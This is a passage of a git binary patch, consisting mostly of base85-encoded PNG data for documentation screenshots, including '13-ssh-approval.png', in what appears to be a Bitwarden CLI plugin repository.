zsyBh!tYoF7p-I&`z!2bK{32;6&}_2ykiVy*GQ076bwVEp+NU;qxmSVHrL}GlEB@di zJyeMP{#UB=bt)#9MXFu(__&~QZdMb4JTB-xF>%p!*27KBb;?KbY(YfSf^{ypyFU;% zM6TWX=zY_dYWWXcZC(#GE)w7eJL~q0P)7x5fu5Iyjym`du=r!eRWf9CSWEw~9_cWA zED*M_{&Ca3x277C>%}U@@tCA(iMrd`v@`IXq1^NFp)jA5GvL(st~|r7BX(-X?X7DT zge2II;7j6%1R2q6DCZKcE1!=^&`WPpMf*z`&>ja1xjtB&eV~|w$(RT}b6YC^`dqax z9k)Wb-ghl-=h2aoggI!Lr8j_0JwcUUOV5$>Lt+X-6zJDY?QpefvT7}*cvm*VLQ9?% z##j&nkF}>I3iTrG=x(R<&Ox6i zZLZJNxMW)GHqXNp*WLq%y+sS0jViu+j!N!`R!5w;XlhYe9pNT=zU|n`wmI>klG}J& zU0TDaGFl~5djF1M&$b+w?6WgPHgsJV+Yxg;RyF8C6QEk->vY<{y^XxEZDCxNb|op= zZu4Ak{4|!cqx$_RaHSuS?V**V;JvN3l@h4g*j;h~BNZmjMBH2bo&aV3=?cc&rC~>5 zG=X0;XwmHzO&UwMw=O^$8%x`!IbFx>HfNSzNWxdY5EVmBbnTf@-rk%o08`QPjXH)q zL5~|YVXXQ`Fn>bc%13UOg-Xq{|4ecGz-pyzqkK%DRc_e=b_X;b*dQLid9-gqFrqq^ z*E-DjVl!Ep@QLNSvNlG}S%Pv)JR8(}m(a*lq3NVaF&|*9nwOX3o}RXs5+CX#9W(i` zN*}aJIHnbt%FZ!VQ*YG|pJ@38WwZ`qW%Zo%sR-moxnBqv8jp{MrPJ3=K58skx{yDa zX0T!>QH>wlb@;FO3E{r^8ExQ`4ZM7;XV1?lp9v*o`Tl4fKieZi^*L>B_hYEmN7l?u zMG=(Z!!54plMnwg-Fn(8Ix=En;WK*X0!sbs4yMf&Wqj-{ja{FC1aY|Oww~p(ZRYhG z*ub?<$aQoy(iwULMyQ-T3745zSHFJ8vZ9lSeqJ77#hbs+b(0!eW?x?W-bi%)YBDxA z+nWz$G?=}jpUPq#z-2x&!tPBWvgK{k_ zt9{jedbWzsfe;p%uzPxZe0pkGQDHs#sQJO~g;eMzQ`Xq9?UH<$MLYvo+e@5NS%Y78 z>i=ozYY0Slk&KZ6CzkMaD>lYkIig3Er3ThbMK6Q6LQKIEVaXDp3%~LSa_G(*}Syv*Jxj5$M z$9%E-^3R*Q5PXcb^QTke_SB3|H00z`i?gucjs_6m*dn`h74V)2HK>1?#b9ZBnUV^* zJv+FZNnlDt<|GpG^>nf2zB_GxjNH7l{u1+srAS*})y%@${g-uZu`59Tv{xZdg~dYT zP7#pPb=BQ@7CIROo;gSa6}n6tnluv|>UAGcC{&9%tajFaTW<^C2Ni_0UZ;rVDaybn z_l$98M8!0uI?N`_HRLI&9TeGSVVVK~`clYPBE`Gam&`H_;%Y^5TL-5_`xY5IMAlLM zZa-`)mz7p5sJwKenqeUR2D(Tac*}eIRUbOzQIaWbtLy$87 zFXy>2)8h4rui)!>+fCX=ofqk`zf)Fs0o6S1;N&mLBk6U#*jsr4`B*mmcD+)%7hWo= zu(6kV-u4XQ)W618m0TwknmzHPLDG9R8*efc&!TmK-KG4zlVpOi&SwcNrOudeI9+Ts zB7uVfZKpjI*;P$c7wf{_iuZHrS7=n+X}YbxTrmZ7^S5zI+I!ICikARhUbQriPjo+w zDwr4e!$RSm%Eo(3vS*CEQ`afN6r?BMT^<#pv z@Z{cTOl2>q_nLbZe5s1DCdezdvIHV{^Hsf?RZAVlcuWn7=M#ahWT zrg0FeCu-+@lA&8dn(}eknE_$le!s=K;`J^j*lw~}#QDIv2$NqiY^*<@;<0 zu?fgP;6HNzwl(CLb3$6ofAeg4P0)_mXDO=T24um}xFh7NXZ6>2J+6l;W4*6?P9tD< z9n1i#mTC3&o>P(-DlgOA%{PtC7S(pb*~^#n9ole>Tbsb}VLMUC3QDBYMBAPl|2* z<_)Wal$eMLP88F&9{l#yb&D5-)oj16;i^HS)W2Jl!n};idfr5*)8tF~N#}h0+wueU zm-&@>$k40O?)c|D4DODlq4MHdmz0z;7FV4EP*D@dp>FUB+9qZ(AqiJ4}bcC4b(T?j|2qf4J$ zE;Ajyti?>ARxC|5fAfnASFhYaFcS_%%YbcD(=_laQ}XTgf;7p4zbOC5SKroVml*%H zEfcf$l-Lnm=`a8^aGy(+ZBsG>%_icibA|k4ZahD=>R8eVv~5fPAk{t6wZ{<*|Fk%{g3&8p^|A`06UX=!kS{-ost&6Fm_{EUR5S^XnoIy6Bc^ zVPTzR0GwK%$6@c>4{yeaPFhtIWOG{HDl?aSJt{zwl8md$_2fa+(mtMdt*lY)dbF%= z$1lim!LhzR*iy=gFre;p-=%xo_IzHiWZbYXWf?{AztcX}*4OnT zQc&?QrylY~S{~qA_^IuCRc{q$i63@Xb`aKR!EiwTz%&lPiC9-`gV)UsW&!LnFj1R5L6m&Gha~jDZjDoGbKl>-X}tO?gYYv{KC0ob>jM4hQfPOry7-=X;!^kV`DJqv`v!7=jXOJi>a- zp=I1-VJGQ>U6Q$uO*(&nxn5_HP{a;FFN9y?LzP&?cQ?sC5FEnj%wPKZu~UE#3{lyx zRAZ-XeJfTZk7xLB{5q5i&iO<_&&UuT(FFb}L)6~V1t#5Ix9+d}M2Flg+}^r3=fjt| zC>O-i3LY?R7Zb~s`_1?Hd=0;6}Po?U*3(e8gW0k^b7IY$= z?Q2j~y65Hig1Va9ZX>SkbnXCI8b7&g7dA5b+Dn$O*TJ5R&p^y4hPO3qq?kBL;@l#sk9-8*s zu0+8d7luslhvS?*7J^Q&tU7oOZr^eE*KZ32a!2k26#~Gbtf#L!&E+Ucn1Fe(A_b;< zKf~QZM{_0a2|U;R#~0`BK__Bj_c{(eeluX8+$@{ z^t*|gg#|7iy07xpXCrz#9E%26wVA~?YiF0DcY23zCFLRfLsHnU6x%rxSilTQx%8qfY#rdkU|1Dhuv+gDd zyTMbZJ?Oj3!-3#B8LKPVQdQ9GZzuap7CZ(8Q%lPp?Kd|W z187kWyYDpzz(P61to3dQ$x3NXmNPN@(a=LCEqE*}f|3#|ck(SXalb<9=ex`-cXRo| zDkV%+PVFGN=N4i1Np&Wb{$rlsc(WiK46u1V^y1}M_(+;=CoFV9Ex{TPW9S(-yOo5l zQZ>H*TC@`>uTSR^-nlqoLR5gxuBNi@kYY{sJl0`2G{g}|D^FxCHXb`W-V0_IHm?oF zwh2;2{ypog;2-~J{G0QMMReomtH(oW<912_oc2g4(6#Nz2K4&Vc+XJbJGGBbxy}_A zy2l93?pXT#RC)PWhsz@~TTZZ@kJmiNA+atC$>X6c59eu4OzZlL zWm;MVaip=uf+0zw2Mxi5VpT?lCVBRsc@lmEA2y$%3W9g2d)YFAP25crmm(yYU_Qo^ zk-O>=#P+u3Cl_j30poW!Hbn~R#ml`{R(Tu?vhFM6Wyx)|M@B_`B}bT?o0q(8KDc$@ zkl?xl&c@T13E|X^mOoslRncvbbk3HTl2*IaUuQP~!M7T0x0hLQwNc|L1he4f+;$NZ z+ox2Fmx$VbUSak%SYMOd&mVI%Z+W8VeKOOzxBDcCVmp}ACpM5LTxz%PiUW0F9~qxK zmv&3Oi}%ypZ=`L*0WN`F9+z~UReibKG2Z9nfvmRYseJdCL8O%sofF+5!8YjLLI*c! zX`n-w?hBSN&IJ_5kSj@{Vq)!j#*Z?i*L={a;?|Hd3Pi=MWyQfNNkpgXT zXoD6lJjLy4ixdg&7Tnz}&_Z!5u7%r%Ll4_$+Oi9KR%;g;OBpk6dV=g!yZp>fv$GC zLF2~t7U~KKFFkg}H+Mp6o5lc%g6n4c``nyhT-{h4I`rmdB04GlIpjLYKp%UpI(p?Q7Nn4p3U2($U_IuxDKYbYfl0^QKYsvYtVkD zEptXz$;*nE5w&YEr=2N=yHka&q&s2k;U=9D&Bunh{<`YiP$F3;z|1MIpw=WvSJ8Xb z==7%aUD0RNux51@_FKI{xQgAeJ=tzlOX4P5S$!% ziezFkx*s9t3Ty*=Q(&f?M$bf)h0xeD-^w`r_TBjXz=NN<5=i^e`CIu*`GX8G8df&GJyc9xz2lFEX6 z7+(1_+S(VVoDof1THKWv&F$$Gw|k^_SP0Fhy)eOgsI<^5)mMu}%2TjN95s=+?9;;j zOkN0Y@eKTyAi8}^kd{_hO|oGPQah~@&IJa`#@6GuD9Ch0?T3&W9|%Wj zD8AsSRY;-44*t}G-Wx^q@;!k;wftx^Q*_kd?s`1cgHsJ8MVF~+CbUxkN5SbXY;ZkP#S)`2ot(hAHSl|ttw`>g|KsRYiA{FoiSppWqf z=-E_f%)$CAUFNg^(@stVk)#pOqcZv9&Z6)%P+5-cFfsN-Uuv6b0Md@I*TFZQR5^v# zB696s0$eU4g^6c)8BKX;8w05+SzD^0)G_HbVXSKjfnaUpY*)92*5Q&lx|ok;&ARhl z?Al0fT7X$KLCV5LTji)K$JSCSK=S$n@k9`Ij$-AT)bHw_u$S9ZEw`=PGXx@hS}l8w ze)p7B*v5S#La_Iuy)@ly=XgUBs{T0ShqkoU<_3Ca74fGa{JEm_G+SB5QGcuVjx5)| zV|95W4Ku(0lM=>48u#b{0Mm=M;_QcjYPA`evuot}3i$FoHhEqi2rhe2?(OM!dgAWU zlKO-I6@`qzBBH9xqf!$ZV;b5SJ_Ll+<$qjV5nnP^>*u<92+UtxF;$j(ydo$-_E^_Q zgayVc+?B`a8NDYhHW_PW(BwB;;abb9DQ~M_Mok>D9p`!M7|m8Ybx$JFe@+k9@hy+N z>X+(R?JKP_ayq)5LPEd91^EsvfuN*|qt+gCF-~_F7Cn&@*}q7P@%~yzYPTtD?%jI-|H#hxp#->c2G3?d zC+%v5n$*KiFReNx;EY{H;@h=Y1FsPaXO#ku=l?#J@)>rz{*&sp9lj=#D%~Z3JrqrJTl{M7njpxAJ+lH~9quiGhxjgn8^>RM zw9(3lu38ttx_0W@%U|JT^WyU7hAa2KzFwXfU)H~Z2I%qi+#_htKRxgkrxCen-Y-8z z`k7V-|DhIQ%{mF}W4euhXtkgH>uZzW_(^(ht$m}Ek~Njuo3xUA100UC8j50!)=E9v z8jTT10-yKkuLRqj{9cSBr#S{DNh@^0l2f)xeVAU-q3kCyK1LtHeKvuCUGMA~|CYRd z#&UizRvJY`ppi@uqGD%g*spI6i~K@mf2_>_w^aO-Q0nTKRr}%9p|5R0)Hb-GP|RINNK+OyA;qBRez9 z#idYsdH1ZmHruI#SPX*}`)IyCxsq zPX1BsQXm3YE)kEJTsmguMBg7v3}}#*nk%`aBkdEp$+fy03TI+atF6~lRwV$aYIacP z3Um^_18eVKCQ~d8wgNJ4I|6A!e&?0V7nW}bIe^?<(Cznlgg!mYdMbs@k%8xd103#F zmMLlHIu)PhXq?`!qitvgHr^GSP`5XTB88)HBg>9|a1(E+O4F5p(pGUh9n33!N#};t zJcksP6=~UZ`rJw2ZEe{o*nb}Co&(P; zD33Sps%PZ+sJ8D;clc(!>IWGR})hH@wX^lvEk z059qFEUaoan0;RV>z$%#`YDvI$rx!)BfrnmSqtHkF8)6H@-6bpFx{AE;suUiUi4i+ zxi!xi6@2WP2JENC%F^%y&(^y(?P7E4c_S@i{NHV?32O(G!1~I@cd=Ftc0`nE&R^@6(I{^%xOUYSkqJhLZNJYqU*>Evp}_9}L%{fIBB z`)2fw8y#hG<;G+zbiu6F6)pcmjp;(Z5u%I=5-Wb6mu~-fu*uX}RKRMj&`N(Kr}G6m zusuSs{1SlPUZTNx? z@0sc>;R{S;pzPf};rL9e#*tZ%$os|6e`9g z+Kw6Om+r?gII-j>R(uX$@gBih zWp)<@R4&x<0CVD-Ft{s*e+c?2L9Ga_pS0DECsKkY1BVVnNucL#qZcV*kh=-s#4_}% z-yOqhPTPq+x1mS)T=)=1_$TVqc4`zmNn(DL9iZs=l!B}DIbzX)$S|?EfG&%;{eN@9&6qcNn%rZAR_?Iyhk_vmr3Ey8r*s)M zbQ!7Q_q_{lhKb>2Uy!jaZ>qm%hN3j{z(s7Aa)%K%Gl+^DFLd5Y{I{re8oy@BjuGD8 zGu0ajQP)-XA>#bc%RM&6$1T#-IQ)5)6m8T2&%^=p&{<_^_mZI^iOzoYX=)|FY9ilB zy6o&rtCB!Dy+QeRm?kr#ByI<{&+N1g;G2-D!+LiP8r%kC7l(Q~`+qMkX@7ZomK--+ zIvDAd%9SPrtI{a$Iu`n*+a^EgZNH$!m$o&)BkdyNmVmxRRLO}5H zSE%^OvQuu2Q;9z~W!d;3C->fLX?12{jAkB^;OC!IdncdU%Htya!%*rGMz13IVlh+# z)(WGdZBzMIb>St5v$T?z^I&`NIDoAB{Vo;NBJ1>!p(~eihv&9`Q9v{PHO1B}Oy3`l z(Eg#3>}?zBxjaU~Q@~sY8(C86SdZPMzYhry@_u9vWs%O(8C?ktTF!m>sQ;;Ev1oul zwcCwbpD0j#C@BwfBUh01qP%5eo9Q)q}1WX@LiyHyj^gCcKjE)rB!2wsR4VAj5lGR>O zW-d!`?Fp27!oeeE>(CZ(@g~4oY)*^R z5b%rCrLZ3^bF1(3ojati{UN#+1;i(U>Zgf6pl$6zeIqWFWCsQHzCWco5))jvIQUeg zFE5iMlh7ia)W1IN-5XM+pBe(`x!W#?%6=Pf?#$MFLmvPTqQm~qG-O!$tWL%-JNP+P z+ZT%LJXJPaR?G`hWk$rb)o(_3-hLTEEb5vfZjd9Ubm@1KeSWnLYw9gV%zu*%D7!g4 zv<Xvx_;qD;j5_+l7+d&z`ootYxZhcqG^ArZrKVP=!@4z)oYDpEE6|kr|tg!HGeK( z5QSqFw!7#tKUQ=$@{M;ymTD6YW&gZniAs61sYDZIx=wc)AdWv+r%`2@9sX%x#&^1Z zz7e*_3fP5`VIc+Cr>A|tn-~sJd3E=~_6+hp9)tHv7qtt>E4y`cBND(n;SONQKrS}V za$IR<9@I*y&1_t;A&TL+>Yk&VRub+|RGt$*>G-dLTnzf~)l4mpAO_ zaFl6Fraw28A4~TticexGX9K3$1?EY@wwYW_66?(iTJA16+|oVUb+B7stQ`uq?Orm! zO>SYnxmp^ob75qoy8N!GF0bgb$Gp#8V_MeRWvYW5XF~cUBrqfTCJr*%Mmmez6&1ai z@%~w?hmN=7sVIL7OaEdraMD)qIlZ8hSg&%n`Iqry zPYa?Bl7`#ySDr&T&)2WpQaq0sTAkq(PJ{mQpxQuhmdmxCS6;GAD+8akFMLCt2C94} zE{CI|A(B#p{_gSJM-Nv*5KHM;(!bm_xPrHCbF=??-HQd<@1?R{CeovBvuX0bEiKlr zQUz3hJ%o}npI$LwPrUyGL~U=O7Mso!@_ks6FO$w3CaNY19{W6tkNt!?zQslXXTs7l zYMw|*5N`hTQE_gO$yy=l(#c>t?nfowwNi(xh%`sQco!yjCP==;L(HSXz?`vzJke8a z5qBfH73&WeKD>d#-uS!!t`nGWGU%ufq>gNDxZ79Hdm3VENf@_R$n5k%)vwW~JUH2T z?jV6bA2P1hp-vV$8Kwa-FjD(FV1)T7DFsWs-!k8N53~^sEHASv1%TVrWdp0%hWNH5 z5O}qGlP3D(wB-g;yM5_graGhas@~oW_W2jL^G1h2a}1f3KVNOt$qCd;eF2zWf4J<^ zg3H!uVV<2(Y`E-@H}*P_v!<5Vtl^CGlYQQO+Fl3?siLo8i4vhyv*8TAwOvlv`uuTM z%k|1GU{@^cP#E4h3)Id1_0WJa8w?lLbi<3fr7RME46o& z3vlFgmw0yBU?U`zCMPI4Loxt#f?PiVP^yfWdgIMP-50DP}{)3YEjiz|eR;-DZr5 zN^WbU`#lHD^bsl^3G0=KH%5xvhKgNGRy1YG?_2b@;^{Z^>o@x}-LP%r)WgAL*Y$zu zk}P$c>u{a9V;fJ)?La0>MVM+`%=sK4Tpa0Z=n>#1p4`442krOlkd3~cC=llW=x*n& zbmtv;CN-t{Ze*7?x@dOYEWYYciMD>FeS5ievdVhp#|sS3N|cNxpHQP4-U|$zERtrI zD@hE&BFUghSeVxo%u`5|!=UMn3+>@mnbc>4%qgDv5b<{P-}uU{7=xIm)zJ%z5VZCO z{qC=wA>;L7`L$C#$V*8LOJ?1@?0@Q*D3y#SuGWzxe!RNo`!xcvf7}DYGJc8p4&Gpc z)Zz`hLaQS`PL+jP3;Wi7rpV`UP)3gUe<>A!^Wm$D#O65Hh2$tp%7owFUDf-2JMEbK4)iZQe6^! zUTlLGzOhOb*sh7ZF-}hX>h#!c6;gz;@i|RRT{5_SG@v*Sk$T_%Bkv3Ay9#cu`C-PI zG}83PY<|98=vcf-mxb%P@bX7Qv)YzMpQr(xn2x`=&G)sEEE}NT!Y_nUef}LKY8n#m z5g|o6)zzHI6{K4;?bM-;&tjfgQLdEiy0HA&hxf3V<&%O`{Zq@H_LvZQ1*~o6?Yiqz zIB~q=eB&6TXalsh+lqaDHAGau#Ho)yR@o6Yt8l$Y00iwDDrhDN+X^WlOMB@(9#NiR4g(ztBo&|s+0 zrn?CVCFPE`I%wR6*~{xIrS#}EH}a2pdF#Qbu&*h|&U;gFDj~1nSfa-t3_P4VKHJ{J^H{sw{yoTqEYGeQfcSqoj z)((+Ajj#%RexqHcI<_f~HX~KpFjCM&{q-byou3xfEBC9KSMG0R!6BBx!6fQoO2&Fw z?&9JNovZsAD1yI9^e>Gcp<`94!t~UXf_Z7Ff%t;XR{i~4h{*uK-H()#(oN`44!vGH zZ2vZ!K1A9u=8I+o8ThvEXOn=tr?56xrJLOIXi<91LBQ8DZLOF7d2fJD_vrb+UC$al7QGUJM z%Ku`!b42j+h~Kd-O&vD>L&sAYaBD$ZW|99VL6qk_y$;5gOIdOfnzQ78h1!(`Q!=r9aV=Jb<5@xM>6+>}5{V+b8PNkQYCEUX71`>SG zg&hnx(%N1F43XyFh$nF0x;NKuctQ`B!gM#2g)?|~NRv1Z+OlVu0U)>oPn^PzDM_Q~KW@6HEI;S>(^ zc`fJlgDjJ;bY7sPrk#i)&r)U>M3`nC5ol8eg#E1}kWV*c(YJhXO(f}gAuQmL7D}Y6K2~WY0|>CqFwzP`KdFV;l_N^ozi^% zRzP3^dXV)aL&M;NsSgld@$FvMUP+6cT%nKvYgdW5NQvn}1P>@i>B4cZL6VyLL8PX_ zgmInFzbEO>BVO9$LZx>)RMBX1^Y-M0ZGNsaYZK|rcXAX=Vh52ff``WsW=!zv3~jrF zv3zs?EenCNtSTEr$8YbMK}8>F zHMhSM1|myHY+PYCBBgfte3i;BtDi??^wj>v!~G*Vp3TjbIbLzhi;Ie09y73$s6ASZ z9Cz_|vL&V;;hwTAhVwt+qONA1GJkLv9hC8b_XKpgcZuQ3>5oaE3v~AZR8{b|5;kzX z@z}U*BfxlNX#o>bRTS{0_k)v}%o0dYS$aVVMwFNug2|WndmISzs`XNJ#(ki*T{%8xN}@axP`D3U79OIAWS~!4x(a z{s|!6dUj{vRE7$`M~RYj&M4KyWd!Cferww#)1Lei_j&p5VyjyS!v8cfCOWz)b4{t` z_R(+UP-;Y23F8NNh1ySa)W&Ng(h#fh>DT*vSXmnzBjq}&A0IMb5ITkP5^I$Uuwc7? zzpmYAqZr^GR3t<7yee{}eI9voy&my4cv4kFtRo81H={f3!N{5X1I?7MU|pJK&=N=D zlT1bFk?2z1DeE*&lyr$U`yj7W`EGM=WJ=0a5luOZLvK@74UhermrxwI|JzHh->4~Z z8_72c1nCjRgPscV4k@wm4hhNi|9}JtyNMX3m3~v&?CL`*`ZqY(Q9r>X{h)w#G1C!v zCNXAnz3_LhR@tc30D@2(c}K0}Sy>^3;?JjoBQK^*!6gyd4(Jo3WY05`%Al1)FEd6N z*S)Ol_3Kl57|fM+UWz5=3p+poke-E^uQ!$3WklGVeflWte%5smv^(T^V!lwA?Sznvvv8 zvva$H15P=Y1^scU6I)#EGQy3id@6EU6XU4`45*31z4mA(a~1x)ku*gzI)*aK=xDF) zu0Q3Y*KRVn9}~F!!FU!tSaKb8trJ_yqA@i1$fE&mXG-t!aD#5BF1I6uBy zlqXc_ha{pX)!|MbDWN)a^Xml{Miehf|C#B86Ci4f2Xm`#!IRA;CY%j*+D@sVhJKqk z3`7C#GP=~_6ZH3sV1pgmq)v{G2##v3aBe6iXFklGSa-5Se7${9kiZ3n3o)nOAQPfh z1A@A9yTy@V%9DAEewFwJ@XBQ)g}_s%UsvaSSRCr<$4r>b_3)=HMc%7cKc(lD`;hFV zVtCR9s^!{j*^FVvElR8 zi*wMjT@CZuOhi6J-Cjuu6_N03JxIs9N9XJFPHv3)W?C2Xy5G22GeQA45D;zPU z<_X3(swcjP(}|Lk8?1JcHC_S_OCp=Q(~Kc49=@4dw?~MiD3*HQT>H$LX&k5jo4bOf zLv@95sR|@=gN?$_(<~N0D2Wq4^la_#Uv+f8)UmS~9mX2e?11sn?ssYOb{RVgXQi3w ze)G$oD!Rgc`Is6c`AMcU>4o-fyyo!tB1O}z&^v8l9sx;iSU&2v!2^ZO?JWl@uF>&M zBy|y+9_n2UnCbUO(NalCXT7m3djsBnlb5GEKiO{!d{^OM55uxoDUz}LQDtNlTI+_^ zZ@mco{iHN|C#UT6O&TKbQj8nh+BK&CywnV8zQ1JL_KUmLZZli4^p`WZlj(QLQloJJ z7l-CzP%E;UU5+gcU9v!vt1JHCe#?=@u5g{x4qMX@ca(jGXz zE|YXWGm%}_5|DsM)zbA6q)BwzlRI8cj*1wX!GE;7G#hr*uF37miG8XMc6{%84qBlr zr4yXLVY<8I78>j%KayP{b&pcXG>o;q$)&LBmzamx@E?Y4z6BG>T+M~&(VFcK@X=(r zv<&tCke-qhZ%5#u(uEV%xb4@R@^;n!{9Yajf;D{#|OkQ=Ju8&tCPMjm7 zWvzF5&Wv^)A=K}fn+L_4cb{!*Bzp?NCVRWIQAI#|9-F@R^U%r>o_Z_i=9TKNUuBE?#Sfx+4QS5x1vma~dl`|N~j z?)EL6@5Sj0xk-zR>`C3dGTGncO|E3yR1UV7=@y(M-L-m1keV*tW7Ra|u^}aiAFa9m z^qSSUtj6?abFup;HtkN2Y~NVcVTHVV|m*_tN zU3||kXGX{~UXo5FV?)itOFN2@JD<8431IIYsxVlm0YTsFK}HlBMEl}D-0!0Q*>)A- yiT_vS?EiOfvsyYhseu2d(Rb_le|iDkumI*0xP4?v{sXBaQj%Abt9@@C_P+pN46r8v literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/13-ssh-approval.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/13-ssh-approval.png new file mode 100644 index 0000000000000000000000000000000000000000..aa1403f73add88fd450e30e42e9d154d825d383c GIT binary patch literal 53390 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 